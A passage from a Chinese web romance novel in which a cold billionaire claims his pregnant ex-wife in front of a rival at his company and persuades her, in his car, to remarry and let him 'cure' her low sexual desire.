那就是使用她的东西,侵占她的东西,磨灭她的痕迹,直到自己出现戒断反应,彻底习惯,彻底脱敏,觉得厌恶为止。 于是,他会用姜绒握过的笔来写字,在她丢弃的废纸画稿上,随意的算题,写公式,甚至用她遗忘的矿泉水瓶喝水,把她掉落在地,缠上了几根发丝的发圈,夹在自己数学书里做书签。 陆沉渊以为自己这样,必然足以克服心底那股渴望,可以令姜绒彻底滚出他的世界,滚出他的梦境。 可是,很快,他失败了,甚至开始越陷越深。 越不去注意,越要注意。 越想忘记,越难忘记。 越抗拒,越沉沦。 这些属于她的“藏品”,逐渐变了,不再是他脱敏训练的帮手,反而成了他关在书房里,自我解决,沉沦欲望的工具。 高一那年,没有人知道,穿着一尘不染的校服,戴着厚重眼镜框,在父母面前,师长面前,听话而礼貌的他,在书房里到底做了什么。 当陆沉渊湿着头发,身穿浴袍,高大的身影,走出浴室时,江之晏的电话,刚好接踵而至。 他望向玻璃窗外,那一片寂静的雪松,接通了电话。 “哎,沉渊,我那个,和你那宝贝地下女友,艺术馆合作的合同,你给我审了没有?当初我可全是为了你,才跟她签约的。” 江之晏的声音,已经在陆沉渊耳边响了起来,语气里带着几分调侃。 其实在姜绒,向他说出那句话时,他就猜出来了姜绒的身份。 因为凭借多年的了解,江之晏很清楚,陆沉渊绝不会有所谓的女朋友,更不可能用他的私人微信,去添加任何女人。 凛川那么大,但据他所知,狂追陆沉渊这个金龟婿不放,主动扑上来,送上来的千金大小姐们,就可以组成一个足球队了。 这些人,毫无例外,全部被陆沉渊拒之门外,别说在陆氏集团的公司大楼门口能蹲到他了,就是连他豪车尾气的味道,都闻不到丝毫。 “少贫嘴了,这事不急。”陆沉渊语气冷淡,回答江之晏道。 江之晏的夸赞,却立即响了起来:“你这是想等姜绒亲自来求你吧?还是你行啊,陆沉渊,有一套!” “我现在严重怀疑,导致姜家画廊的资金链断裂,姜新鸣判断失误,拍下的那幅价值上亿的赝品,就是你亲自放出市面的。” “少给我胡说八道,捕风捉影了。不过,我倒是真的有件事情想问你。”陆沉渊的语气,兀然变得认真了起来。 江之晏立刻来了兴趣:“什么事啊?” “患上了严重hsdd的人,在怎么样的情况下,才有可能主动和人,发生亲密接触?”陆沉渊向他沉声问出了口。 江之晏语气立刻变得兴奋了起来,因为这恰好属于他的专业范畴: “主动亲密接触?你指的是哪种?一般有hsdd的患者,连一般肢体接触,都难以接受,怎么可能会主动和人。进行亲密接触呢?” 陆沉渊眸光却变了一下,一向没有什么波澜起伏的音色里,多了些不同:“主动扑上来亲我,并且……” “那你是碰上宝了,说明这个人,对你有很重的生理性喜欢!”江之晏对他的话不敢置信,斩钉截铁的回答他道。 “生理性喜欢?”第一次接触到这个陌生的词汇,陆沉渊将这几个字,机械的复述了一遍。 江之晏耐着性子向他解释:“换句话来说,就是她的身体,比她的大脑更加诚实,她很喜欢你的身体。” 话说出口后,电话那头陷入了短暂的沉默,急得江之晏朝在那头唤了好几声。 好几分钟以后,陆沉渊低沉的声音,才再次从电话里响了起来:“那有什么办法,能帮她治好这个病吗?” “有啊,爱情啊!让她爱上你不就行了。” “归根结底,这个病大多数时候,都是心理层面上的,你不知道,爱情是灵丹妙药吗?包治百病啊!” 江之晏笑着回答他道。 电话一秒钟就被挂断了。 第二天早上五点,姜绒准时醒来以后,就往艺术馆里赶去,陆沉渊为了方便她进出,已经派了专门的司机,接送她上下班。 然而她才下了车,走到艺术馆门口,就看到了一架重型机车。 一头金发,迎着晨光站着的周野,正在门口等她:“小绒球,你去哪儿了?怎么好几天,都没见到你在艺术馆?” “我回家住了啦。倒是你,怎么这么早就过来了?据我所知,你们餐厅凌晨三点才会关门吧,到现在,你才睡了几个小时啊?” 姜绒心虚的很,她肯定不能让周野知道,自己私下里,已经和陆沉渊同居了的事情,于是赶忙尽力语气自然,回答他道。 周野目光灼灼看着她:“当然是为了来见你。” “哦……”姜绒点了点头,有些心不在焉。 不知为何,她总感觉,自己最近变了。 以往看到周野,她会觉得很开心,也很期待吃到对方给她专门做的,各种各样好吃的美食。 甚至觉得,自己本来就爱吃,要是将来能嫁给一个厨师,用幸福的美食来喂饱自己,也是个不错的选择。 可是现在,她脑海里,却总是不受控制的浮现出另一张,明明总是冷冰冰的,却在她耳边笑,向她说出了温暖话语的脸。 她从来没有想到过,自己有一天,会对一块寒冰感兴趣。 “我还有事,要出去一趟,今天可没空去你餐厅玩啦。” 姜绒想起,她今天最重要的一件大事,那就是去陆沉渊的审计事务所,请求对方帮忙,给自己插个队。 “走,我送你。”周野却朝她扬了扬下巴,向她提议道。 姜绒摇了摇头,她很清楚,自己现在的身体情况,孕期根本就坐不了机车:“就不麻烦你啦,周大老板,我自己去就好。” “没说让你坐机车,我有备选方案。”周野却朝她痞里痞气的咧嘴一笑,亮了亮手里的保时捷卡宴车钥匙。 姜绒知道,自己再拒绝周野的话,只怕对方一定会起疑心。 届时无论是林晚,还是她的家人,都会知道,关于她和陆沉渊的劲爆消息。 于是,她迈开步子走到周野的车前,拒绝了对方让她坐,专门为她准备的,副驾位的邀请,反而径直坐到了车后排位置上。 “你想坐那里也可以,但是那里的安全带不太好系,卡得很紧,我来帮你吧。” 周野没再对她说什么,高大的身影探进车里,俯下身,伸出手臂,欲为姜绒系安全带。 姜绒却如触电般,浑身僵直,立刻将整个身体往身后缩了一下。 周野显然也没有预料到,她会有这样夸张的反应,那双琥珀色的眸子看向她,瞳孔缩紧了一下。 “我……我自己来系就好了。”姜绒有些尴尬,转过脸去,朝他说道。 周野点了点头,替她关上了车门,没有再说什么。 这辆明黄色的保时捷,很快被他启动了,但车里的空气,却变得安静了起来,没有人说话。 姜绒知道,对方一定很惊讶,刚才她在他那双眸子里,已经捕捉到了一抹震惊。 没有人会想到吧,她表面张扬恣意,明媚开朗,美貌至极,但实际上,她根本难以接受,别人主动触碰她。 沉默了几分钟后,姜绒率先打破了这份安静: “周野,你有没有想过,我和别人可能不一样?” 周野看向后视镜里的她,向她反问:“什么不一样?” “我有病。”姜绒的回答简洁了当,只有三个字。 “什么病?中二病?抑郁症还是离异妇女?小绒球,你别拿这些个理由来搪塞我。” 周野舌头顶了顶腮帮子,不以为然,戴着机车手套的手指,握紧方向盘,向她继续追问道。 “都不是,可以说这个病,和绝症很像,基本没有治疗的方法。”姜绒的语气,却非常认真,表情沉重,回答他道。 令以为,她仍然是在开玩笑的周野,表情也骤然变了。 “周野,你还是不要喜欢我比较好。”姜绒望着他后脑勺说道。 周野没有回答她的话。 陆氏集团大楼门口,杨西平稳的将劳斯莱斯往地下车库里开去,偷偷瞄了一眼,后视镜里,一言不发,表情冷漠的陆沉渊。 他越发觉得,自家总裁最近状态很不一般了。 现在一结束集团的会议以后,他就立即下班,急着往家里赶,似乎是为了赶紧回家见人一般。 与他以往,工作狂的模样,完全不同。 杨西自然知道,自家总裁金屋藏娇,藏的娇到底是谁,那就是姜家小姐。 而陆母最近也总是频繁向他打听,陆沉渊的感情状态,似乎是知道了什么风声。 甚至还曾离谱的问他,自家总裁是不是在外头已经有了私生子。 而杨西自然不敢乱说什么,没有陆沉渊的允许,他绝对不会泄露他的秘密,只会把嘴巴闭起来,保持缄默不言。 “今天的跨国会议有哪些?流程全都安排好了吗?”陆沉渊骨节修长的手指,点了点车里的真皮沙发椅背,向杨西冷冷问道。 “安排好了!”杨西忙不迭的汇报起了工作安排。 汇报完安排,他又想起了今天一大早,公司前台来电话,告诉他的另一件棘手事情: “陆总,前台说。乔大小姐今天一大早又来公司了,说一定要跟您见一面,谈合作的事情。” “她还真是百折不挠啊,都连续来蹲了您一个星期了,每天都是早上七点就到,雷打不动!” 杨西非常佩服乔安安死缠烂打的精神。 “不见。”陆沉渊的回答非常简短,只有两个字。 杨西点了点头,正欲应下,抬眼时,却正好看到前方一个身穿红裙的熟悉身影,也在地下车库里,下了车。 他赶忙指了指车窗外:“哎,陆总,您看,那不是姜小姐吗?她怎么也来这里了?好像还是之前那个厨师,送她过来的唉。” 陆沉渊听到他的话,一双幽深而锐利的黑眸,立即望向了车窗外。 “他们俩感情看起来可真好啊,总是在一块。” 杨西一边继续买车,将车开往陆沉渊的总裁专属私人停车区,一边不由自主的感叹到。 下一秒,陆沉渊却冷着脸,说出了一句,令他意想不到的话来: “跟前台说,让她们放乔安安上去。” 作者有话说:感谢宝宝们的等待,今天更个大肥章! 宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是我的动力啊! 亲亲(* ̄3 ̄)╭ 第25章 第二十五章 亲爱的 当一身明媚红裙, 酒红色长卷发,肤白胜雪,外表极其吸睛的姜绒, 走进陆氏集团大楼时,几乎瞬间就吸引了所有人的注意。 姜绒心里有些小得意, 作为从小美到大的校花,她自然很享受周围人落在自己身上,艳羡的目光。 她挺直腰背, 拎紧自己手里的爱马仕brikin包, 环视了一圈四周的环境。 这座整个凛川市最高的大楼, 不愧为整个凛川市的地标性建筑, 代表的也是陆家至高无上的财力与地位。 整栋大楼的设计, 以黑白配色为主, 细看装潢却极有格调, 低调而奢华,和陆沉渊本人的气质,非常相似。 而当姜绒抬头看去时,对上了悬于头顶的一尊巨型雕像的眼睛,更令她觉得惊讶。 本就是艺术设计专业毕业, 且在雕塑方面也颇有造诣的姜绒很快就认了出来。 那是掌管人间公平,与秩序维护的忒弥斯女神, 她象征着绝对公正与自我约束, 正冷冷的俯视着她。 这还真是陆沉渊的风格,姜绒不由在心里感叹了一句。 她隐隐有些印象, 陆沉渊普瑞维斯审计事务所的图徽也正是忒弥斯女神,手持的天秤与束棒相结合。 这样一个对待工作公事公办的人,到底会不会给自己插队审计合同啊? 更不必说, 自己昨天还态度骤变,让他下不来台了。 姜绒心里觉得有点悬,但没办法,为了自己艺术馆能拿下那单合同,她硬着头皮也得这么做了,毕竟林晚可是又在催她进度了。 于是在众人的目光下,她径直走向前台,看向身穿职业西装,长相好看的前台小姐姐,向她张了张唇。 然而,未等她开口,前台小姐姐已经先她一步,将她的台词给抢走了。 面带笑容,朝她问: “是找我们陆总吧?这位小姐。” “你怎么知道?”姜绒表情惊讶,莫非陆沉渊的公司,就连前台也有读心术?人人都这么厉害? 前台却朝她讪讪一笑:“您看看那边,都是每天排队找我们陆总,为了见上他一面的人。” “女明星、富家千金、模特、女企业家都有……” 姜绒顺着她目光看去,差点目瞪口呆。接待处的沙发上,确实坐了好一排环肥燕瘦,风格不同的美女。 这也太夸张了,她发现自己再一次低估了,陆沉渊千亿身家的吸引力到底有多大多强。 怪不得,她一进来,那么多人视线就虎视眈眈的落在了她身上,原来不是因为她美,而是因为把她当成竞争对手了。 “我们陆总是不可能有时间,出来和你们见面的,所以,您要不去那边排个队?” 前台小姐姐朝她笑了一下,露出了整齐的八颗牙齿,委婉的提醒她道。 姜绒表情赶忙认真了起来:“我姓姜,我和她们不一样,我和陆沉渊是有关系的。” “什么关系?”前台的耐心显然已经快到头了,向她追问。 姜绒白皙的小脸上红了一下:“我是他前妻!” “前妻?”对方听到她的话,已然目瞪口呆,显然不敢相信。 一旁等候的其他女人,听到她这句话,同样齐刷刷的转头看向她,脸上写满震惊。 姜绒很清楚,陆沉渊这样一个,对谁都拒之门外,冷冰冰的人,竟然结过婚,而且还是和她,这种事情,必然如同一枚瞬间投入湖面的惊雷。 她抚了抚一头红发,扬了扬秀气的娥眉,继续催促她: “我们俩之前结婚,没对外公开过。你直接打内线给陆沉渊就是了,他知道我身份的。” “好的,您稍等。”前台小姐姐被她的气场震慑到了,更何况她话语里,一丝开玩笑的意味也没有。 于是她不再废话,低下头去,很快拨通了总裁办公室的内线电话: “陆总,楼下有一位自称是您前妻的姜小姐,说要和您见一面。” 姜绒听不到陆沉渊具体说了什么,但前台脸上的表情已经完全变了,看向她的目光也瞬间变得恭敬了起来,连声回答着好。 随即,放下电话后,她立刻躬着腰走到了姜绒面前:“姜小姐,请跟我往这边来……” 那是总裁专用私人电梯厅的方向。 那些仍在等待的女人,目光里写满了不敢置信,看着她被领了过去。 姜绒心情却有些不错,看来自己这陆沉渊前妻,加孩子妈的这层身份,确实好用至极。 “顶层就是总裁办公室了,陆总还叮嘱我把这张电梯卡给您,以后您过来,直接去坐专属电梯就行,而且会有专人接待您的。” 前台对她的反应来了个360度大转弯,还将一张陆沉渊专用的电梯黑卡,恭敬的递到了她手里,倒令姜绒有些惊讶。 这人对自己竟然这么好,就连在他公司里,她也可以享受特殊优待吗? 那自己要拜托他的事岂不是也很简单? 于是,她既紧张又有些惶恐的,走进了那间极度豪华,私密性极好的的电梯厅里。 站在其中,她甚至又能隐隐闻到,陆沉渊身上,那股令她上瘾且腿软的雪松味道。 叮铃,电梯门开了。 姜绒向前方,总裁办公室,那扇质感极好的棕黑色实木门前走去。 门是半掩着的,没有关,似乎是专门为了方便她进来一般。 姜绒一步步走近门前,却兀然听到一道熟悉的声音,从总裁办公室里传来,那似乎是乔安安的声音。 她赶忙停下了脚步,靠在门背后,竖起耳朵,偷听起了她们的对话来。 “沉渊哥哥,我真的是来和你谈合作的,我已经和我爸商量好了,可以让渡33%的珠宝利润给陆氏集团旗下的珠宝线来做。” “我知道,你一向最讲实际,也最看重陆家的利益,所以我们两家联姻,也是对乔陆两家最好的选择。” 乔安安一脸自信,抬头仰视着,坐在办公桌前的陆沉渊,向他红着脸,大着胆子,将心里的话说出了口。 在她眼里,陆沉渊愿意让她上来见她,必然是因为,他也想通了其中的利害关系。 更不必说,陆沉渊的出身和她类似,作为大家族大企业里培养出来的接班人,继承者。 在他们的世界里,感情就是最不需要考虑的东西。 自高中时候开始,乔安安的目标放在陆沉渊身上就很明确,因为他是完美理性的化身,智商超群,极度理智。 不枉自己暗恋了他七年,又连续在公司楼下蹲守了他一个星期。 乔安安仿佛已经看到了胜利的曙光,甚至感谢起了,曾经那个跟在陆沉渊身后,参加陆沉渊所参加的比赛。 甚至在放学以后,偷偷在身后跟随他,仰望他,将暗恋心事埋藏于心底,并加以努力的自己。 然而,陆沉渊却并未回答她的话,骨节修长的手指,反而握着一只掉了漆皮的黑色钢笔,在一些文件上,签着什么。 他似乎,还有事情要忙。 但即使如此,他只是坐在那里,低垂眼眸,认真专注的样子,也好看到令她心跳加快。 直到乔安安站在那里,愣愣的看了他好几分钟。 陆沉渊才抬起那双冷冷的黑眸,扫了她一眼:“说完了?” “说完了。沉渊哥哥,真的,请你相信我!乔家和姜家不一样。” “我知道,你之所以和姜绒离婚,甩了她,也是因为姜家那差点破产的破画廊,根本帮不上陆氏集团任何一点忙!” 乔安安想要珍惜每一次,与他对话的机会,忙不迭的向他说道。 在门背后偷听到这里的姜绒,实在忍无可忍了。 这已经是她第二次听到乔安安,大肆说她们姜家的坏话了,虽说自家比不上她家,但都是一个圈子里的人,也没必要如此抹黑她家吧。 自己都成陆沉渊前妻了,她还不放过吗? 姜绒脑子一热,径直推开门,走了进去,望向乔安安: “喂,你没必要一直抹黑姜家吧!你敢保证,你家就没拍过任何一副,我家画廊里的名画?” 乔安安看到她兀然出现,被吓了一跳,脸上也有些挂不住:“你……你怎么突然来了?你也是来找沉渊哥哥的吗?” “对啊,我来看看我前夫,你有意见吗?”姜绒嘟囔着气鼓鼓的脸颊,抱着手臂,看着乔安安说。 乔安安却也来了气,高中时候,她就已经看不惯为人处事,嚣张跋扈,在班里处处压她一头的姜绒了。 “既然你都和沉渊哥哥离婚了,为什么还要缠着沉渊哥哥不放,真是不知廉耻!”她反击姜绒道。 姜绒正欲继续与她据理力争。 “错了。”一道低沉的声音,却兀然从她们耳边响起,吸引了她们全部的注意力。 真是身材高大的陆沉渊,他站起身来,长腿一迈,径直走到了姜绒身旁。 “什么错了?”乔安安一脸疑惑,仰头望向陆沉渊那张波澜不惊的脸问。 陆沉渊却伸出有力的胳膊,一把圈住了身旁,惊讶无比的姜绒的腰身,一双黑沉沉的眸子,望着乔安安,一字一顿地说道:“你错了。” “离婚,不是我甩了她,是她甩了我。” “啊?”乔安安脸色煞白,不敢相信自己听到的话。 姜绒亦涨红了整张脸,不明白,陆沉渊突然这么说,葫芦里是卖的什么药。 但感受到他雪松的香味席卷自己,放在自己腰上的掌心温热,透过自己身上的红裙传来,已经令她开始,有些没有办法思考了。 下一秒,陆沉渊做出的举动,却更令乔安安,目瞪口呆,怀疑人生。 他兀然,自身后将姜绒圈进了自己宽阔的怀抱里,然后将自己手里的合同,递到了姜绒白皙纤长的手上: “亲爱的,这是咱们孩子,未来十八年的成长教育基金,以及终身家族信托合同,你在上面签字吧!” 第26章 第二十六章 姜绒,你要对我负责。…… 陆沉渊到底在说什么啊? 竟然叫自己亲爱的! 他有这样叫过别人吗?这样的三个字, 能从他这样一个电脑人嘴里说出来吗? 她严重怀疑,这可能是他这一辈子,第一次对人说出这三个字。 姜绒白皙的小脸, 涨得通红,差点以为, 自己现在是在做梦。 可陆沉渊从身后贴近他的体温如此真实,她甚至能够隐隐感受到他质感极佳的衣料下,肌肉的轮廓。 陆沉渊身上的清冷的雪松、佛手柑, 夹杂着檀香的味道, 将她整个人环绕。 无论是皮肤, 还是身体里的每一个细胞, 此刻都开始喧嚣了起来, 告诉她, 自己对于他的渴望, 是真实存在。 似乎感觉到了她身体的变化,陆沉渊在她耳畔低低轻笑了一声。 这笑声,好听到令她觉得,整个身体都有些发麻,仿佛兀然被什么摄人心魄, 魅惑人心的精怪缠上了一般。 姜绒双腿有些发软,她发现了一件事情, 自己对陆沉渊的笑, 似乎根本没有任何抵抗能力! 因为这种反差实在太强了! 她甚至怀疑,全世界是不是只有自己, 才能够听到陆沉渊的笑声。 然而,下一秒,更令姜绒意想不到的事情发生了。 陆沉渊伸出了骨节修长的宽大手掌, 冷白的手指,径直攀上了正因为紧张,而僵直着的纤长手指。 与她十指相扣,手把着她的手,拿紧了那只有些褪了色的钢笔,在那些合同上,一笔一划的签起了她的名字来。 这简直就是大庭广众,当人面前,搞暧昧。且更因为,是在这样的场景下,所以自己更加无法反抗他! 简直卑劣至极! 看着他们的举动,乔安安已经瞪大了一双眼睛,甚至用手捂住了嘴。 她显然也不敢相信,永远冷着一张脸,令人难以接近的陆沉渊,有一天,竟然会和其他女人做出这样亲密的举动来。 “你…干嘛!”姜绒脸色绯红,朝他低声怒斥,但因为在他的怀抱里的缘故,自己完全失去了拒绝的能力。 于是,她只能呆呆的看着,那几份合同上,那在她这理科学渣眼里,根本数不清的,夸张的一长串零后,被签上了—姜绒,这两个字。 待签字一结束,姜绒红着脸,立即伸手推了他一把:“陆沉渊,你别瞎说了……” 她并不想,被他将自己和他闹出了孩子,这个秘密透露出去,更不想被乔安安这样当面看着,和他做出这种亲密的举动来。 乔安安亦回过了神来,不敢相信自己刚才耳朵里听到的话,睁圆一双冷艳的眸子,脸色铁青,向陆沉渊问道: “沉渊哥哥,你在开玩笑吧?怎么可能?你说的孩子是什么意思?难道说,你和姜绒已经……” “不是……”姜绒瞬间涨红了脸,想挣脱陆沉渊的钳制与怀抱,并且骗乔安安,那些不是事实。 然而,她才张了张唇吐出了两个字,一阵突如其来的孕吐,却兀然席卷了她。 胃里的翻山倒海,令姜绒立刻俯下身去,捂着胸口,干呕了好几声。 如果说刚才,她还有机会说谎来骗乔安安的话,此刻乔安安目睹了发生的一切,已经没有任何机会了。 她脸色煞白,看着姜绒孕吐的模样,什么话也说不出来了。 “不是,你别……误会。”姜绒强忍那种酸水翻涌至喉口的难受,一边极力忍住不适,朝乔安安摆了摆手,向她解释。 她已经想好了,自己可以再以胃病犯了这样的事情,做借口来打个马虎试试。 下一秒,陆沉渊的话,却令她的如意算盘立刻落了空: “不好意思,我得带她去做产检了。”他冷冷的向乔安安说了一句。 随即,他高大的身影,微一俯身,便穿过了姜绒膝窝,将她整个人,从地上公主抱了起来,经过僵愣在原地的乔安安,向总裁办公室门外,迈开长腿,轻轻松松的走去了。 骤然失重,并且离地很高,姜绒差点被吓了一跳,她只得伸出纤细的胳膊,圈紧了陆沉渊修长的脖颈,将脸靠在了他怀里。 在外等着汇报工作的杨西,听到门口响动,以为自家总裁终于和那难缠的乔安安打完交道了。 却震惊无比的看着陆沉渊,抱着姜绒走了出来。 他伸手掐了掐自己的脸,以验证自己是不是还处在现实世界里,直到一阵疼痛传来,他才惊呼出声。 “愣着干什么?下去开车!回云顶天阙!”陆沉渊冷冰冰的声音,从他耳畔响起,命令他道。 杨西这才回过了神来,立即应下后,跟上了陆沉渊去往电梯的脚步。 这辈子,他何曾见过自家总裁抱任何女人啊,还是以公主抱这样亲密的姿势。 陆沉渊的洁癖极其严重,严重到他的女秘书们不允许使用任何个人香水,进到他办公室后,不可以留下任何气味。 并且必须严格遵守时间出入,多逗留一秒,都会被直接解雇。 姜绒像鸵鸟一样缩在陆沉渊的怀里,用他身上质感极好的深灰色高级定制长风衣来挡自己的脸,根本不敢预想,其他人见到他们这幅样子,会是什么表情。 然而陆沉渊身上风衣上,他那股特殊雪松香味却愈加明显了,姜绒甚至能透过那层布料,听到他清晰有力的心跳声,一声接一声传来。 她发现,在他身边,她会莫名觉得安全。 就像在此刻,这样尴尬的情境下,听着他有力的心跳声,她却觉得非常安心。 电梯很快下到了陆沉渊的总裁专属私人停车场内,姜绒睁开了一双清亮的鹿眼,向四周看去。 停车场内停着无数辆豪车,无论是迈巴赫、劳斯莱斯,还是阿斯顿马丁、兰博基尼…… 各种型号和配色数不胜数,令人目不暇接。而全球限量,仅此一款,价值千万,甚至上亿的跑车,也同样不少见。 饶是作为富家千金长大的姜绒,见到陆沉渊这样壕无人性,把豪车硬生生玩成了玩具车的模样,也还是令她觉得有些惊讶的。 “还想吐吗?要不喝口水吧?”陆沉渊选了一辆位置宽敞开阔的林肯加长款轿车,把她轻轻放在了后排车椅垫上后,向她柔声问出了口。 “好”姜绒红着脸点了点头。 亦步亦趋的杨西,同样快步上了车,坐到了驾驶位上,却仍然掩饰不住内心的好奇,一边启动车辆,一边时不时往后视镜里瞄。 而果然,自家总裁接下来的举动,令他惊讶至极,屏住了呼吸。 只见陆沉渊骨节修长的手指,拉开了车内一处隐秘的柜子,从保险箱里,取出了一个定制的Lalique水晶玻璃杯。 透明的杯子很美,在光线下,每个切面都会折射出钻石一般五彩斑斓的光彩。 随即,他从车载的豪华冰箱里,拿出了一瓶依云矿泉水,在全自动加热座上加热以后,倒进那个被子里,递到了姜绒手里。 杨西自然认得那个杯子,因为那是陆沉渊的总裁专用杯子。 因为他洁癖严重的缘故,他的每辆豪车里,都会配备一个小型保险箱,里面放的就是他不允许任何人,动和碰的杯子。 在车上,他只会用他自己的杯子喝水,无论是任何人坐了他的车,父母也好,重要的合作伙伴也好,都不能动那个杯子。 而现在,自家总裁,竟然用他的杯子,给姜绒喝水! 姜绒接过那杯温度刚好合适,既不会冷,也不会觉得太烫的水,缓缓缀饮了一口后,胃里的不适已经缓解了许多。 喝完水,她低下头去,指腹轻轻摩挲着这玻璃杯的坚硬质感,从刚才陆沉渊拿出来杯子的地方,她也已经发现了,这个杯子的不同寻常之处。 这似乎是陆沉渊专用的。 回顾和陆沉渊相处的这段时间以来,她已经发现了,这个人身上,有许多异于常人的小怪癖。 但那些怪癖,无一例外,都会令她离陆沉渊内心更近一步,也更加走近他这个人。 “你好像,很难信任别人?”姜绒忍不住,朝他缓缓问出了口。 陆沉渊点了点头,沉声回答她:“不是很难,是完全。” “为什么?”姜绒仰头望向陆沉渊那张棱角线条利落分明,极其好看的侧脸,向他追问。 恍惚间,她似乎又回到了高一时,第一次叫住陆沉渊背影,和他对话的时候一般。 那时,他身上总有一条清晰的隔离带存在,隔离所有,孤寂而又冷漠,自傲而又可怜。 陆沉渊那双颜色很深的黑眸,对上她,回答道:“我父母从小教给我的,信任要付出的代价很大,尤其是我们这种人,有时可能是性命的代价。” 姜绒更觉得惊讶,陆沉渊从小接受的到底是什么样的教育呢?他的父母是怎么对待他的? 她有些不敢想象。 毕竟,在自己家里,她们家甚至没有身份与大小之分,一家人在一起幸福高兴的时光很多很多,束缚与矛盾非常之小。 “你们这种人,难道就不是人了吗?无论怎样,人首先是人才对。”姜绒抬起头来,目光坚定的看着陆沉渊说道。 陆沉渊似乎没有预料到她会说出这样的话来,坐在座椅那头高大的身影,兀然朝她靠了过来。 他俯下身后,一双黑眸,目光炙热的锁住她:“怎么?现在才发现,我是个怪人?” 姜绒脸上红了一下,但在陆沉渊面前,她总会忘记动弹和后退。 她赶忙摇了摇头:“不是!不是!” 陆沉渊骨节修长的手指,却轻轻抬起了她白皙小巧的下巴,指腹轻轻碾过她的唇瓣。 姜绒整个人都僵住了,整张脸涨得通红,在脑海里,拼命消化,陆沉渊现在对自己做出来的举动。 下一秒,陆沉渊眼尾微微上扬了一下,说出来的话,却更令她惊讶无比: “你后悔也晚了,是你先招惹了我,亲了我,扑倒了我,还怀上了我的孩子。” “那全部是我的第一次。” 姜绒整张白皙的小脸霎时涨得通红,平日里能言善辩,口绽莲花,此刻却成了小结巴,半天才能吐出来一个字:“你……” 她发现陆沉渊的逻辑很霸道,但自己偏偏组织不起语言,来反驳她。 陆沉渊继续向她靠近,几乎和她鼻尖碰鼻尖,一双黑眸牢牢锁住她,鼻息洒在她白皙耳畔: “所以,姜绒,你要对我负责。” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是我的动力啊! 亲亲(* ̄3 ̄)╭ 第27章 第二十七章 从身体开始了解 负责? 陆沉渊竟然让自己对他负责?对他这样一个身家千亿, 上过无数本财经杂志,应有尽有的人负责。 姜绒红着脸,不敢相信, 却又忘了闪躲,心跳止不住加速, 眼神止不住的又落在了陆沉渊唇上。 她实在想不明白,一个肤色冷白,整张脸, 如此好看禁欲的人, 淡色的唇上为何偏偏长了一颗, 那样性/感的黑色小痣。 这令他仅仅只是看着她, 她就会觉得对方是不是在勾引自己, 更不必说如此近的距离了。 姜绒不敢与陆沉渊那双, 几乎能将她吞噬进去的黑眸对视, 垂下颤抖的长睫,纤长的手指绞紧裙边,向他反问:“怎么负责?” “比如……” 陆沉渊高大的身影兀然离她更近了,几乎将她整个人都笼罩,好看的唇凑近了她白皙的耳垂, 温热的气息喷洒在她皮肤上,似乎是要和她什么悄悄话。 姜绒红着脸, 耳根发烫, 不自觉的想将身体往后缩一下,但身后柔软的真皮椅背, 却让她退无可退。 冷冽的雪松香将她包围,距离近到,她能看清他鬓角剃得极短的青色发根。 随着他俯身的动作, 后颈的衣领与皮肤拉开一道狭小的空隙。 这个角度,她甚至可以看到,陆沉渊肤色冷白的后脖颈,像上好的瓷器,颈椎骨突出的线条清晰利落,如同一座雪线下起伏的山峦。 今天他高大身量上穿的是极其规范的三件套纯黑色定制西装,禁欲到了极点,可偏偏他配了条暗红色的,闪着丝绸光泽的领带。 就那么一点颜色,却仿佛足以将一座雪山染上瑰丽、勾人的意味。 “和我复婚。姜绒,你总不能提起裤子就不认人吧?”陆沉渊启唇,在她耳畔一字一顿,低声说道。 他的声音太低了,从胸腔里发出来,像是暗语一般,却又像是蛊惑她的咒语。 姜绒握紧自己红色裙边的手指,霎时收紧了一下,白皙的小脸上,再次炸出了一片红晕。 望着杨西开着车的后脑勺,她忍不住猜测,他能想到,他家总裁,会对自己说出这种话吗? 但她又不得不承认,自己那天晚上送上门去,扑倒对方,又落荒而逃的行为,确实有点像他所说的,穿上裤子不认人。 “我……我那天真是喝多了,而且我不会和自己不了解的人结婚的。” 姜绒长睫颤抖个不停,低着头像鸵鸟一样,小声而徒劳的为自己辩解。 对于她来说,婚姻是一件非常慎重的事,和她不了解的人结婚,无疑风险是极其大的。 “那我们可以慢慢了解啊,比如……”陆沉渊听到她的回答,似乎却不以为然,接着往下说道,甚至卖了个关子。 “比如什么?”姜绒尽力抑制住内心的紧张,以及控制不住的心跳加速,咽了咽口水,抬起头。 看向陆沉渊那张,就停留在自己面前,咫尺之间,那张车窗流动霓虹之下,轮廓深邃,半明半灭,好看至极的脸。 “比如,从身体开始了解。”陆沉渊微热的唇瓣,擦过她白皙耳垂边缘的皮肤,豪不害臊,喑哑的说出了这么几个字来。 听了这句话,姜绒脸颊绯红,在陆沉渊面前,并不听自己话的双腿,直接开始发起了软,即使坐在车座位上,浑身都有些撑不起来。 她不得不承认,自己就是无法抗拒他的身体,对于自己的吸引力。 对于他的生理性喜欢,完全无法抵抗。 似乎再一次感知到了她的身体反应,陆沉渊锁住她的黑眸暗了一度,骨节修长的手指,扯了车胸前闷热的领带。 随即,他眼尾上扬,略带粗糙的温热指腹,碾了碾姜绒白皙耳垂,径直抬起她发烫的小巧下巴,强行让她和自己对视。 磁性的音色,在她耳边更加低的勾人: “你不是有hsdd吗?或许,我可以治好你这个病呢?” 听了这话,姜绒对上他黑眸的浅茶色瞳孔,立即放大了一下,这下连雪白的脖颈,都浮起了一层红。 还真是瞎猫碰到耗子了,这世界上,或许,还真的只有一个人,能治好她的hsdd,那就是——陆沉渊。 因为全世界,那么多男人,她只对他产生了,无法遏制的生理性喜欢。 而这个病确实也困扰了她良久,影响了她正常和男性打交道的行为。 无论是以前求学,还是而今艺术馆的工作,自己平常的生活,都会受到极大的影响。 因为,没有哪一个人,会愿意,莫名其妙的被她单方面的抗拒,抵触,嫌弃,隔离吧。 这个心病,确实困扰了她许多年。 或许,她真的可以试一试呢?让他来治疗自己呢。 于是,鬼使神差的,思考完毕的姜绒,对上陆沉渊那双漆黑的,牢牢锁住她的炙热黑眸,点了点头:“那好吧,我们试试。” 达成了目的,陆沉渊似乎有些高兴,离开了对她的压制,高大的身影,坐回了一旁。 只剩下,从刚才开始,就一边开车,一边时不时瞟后视镜里,那两个贴在一起的人的杨西,好奇不已。 他们俩到底在后排座椅上干啥了啊? 杨西的目光在姜绒那张绯红未褪的小脸上,以及自家总裁唇角,那抹可疑的上扬弧度上,都察觉到了巨大的不对劲。 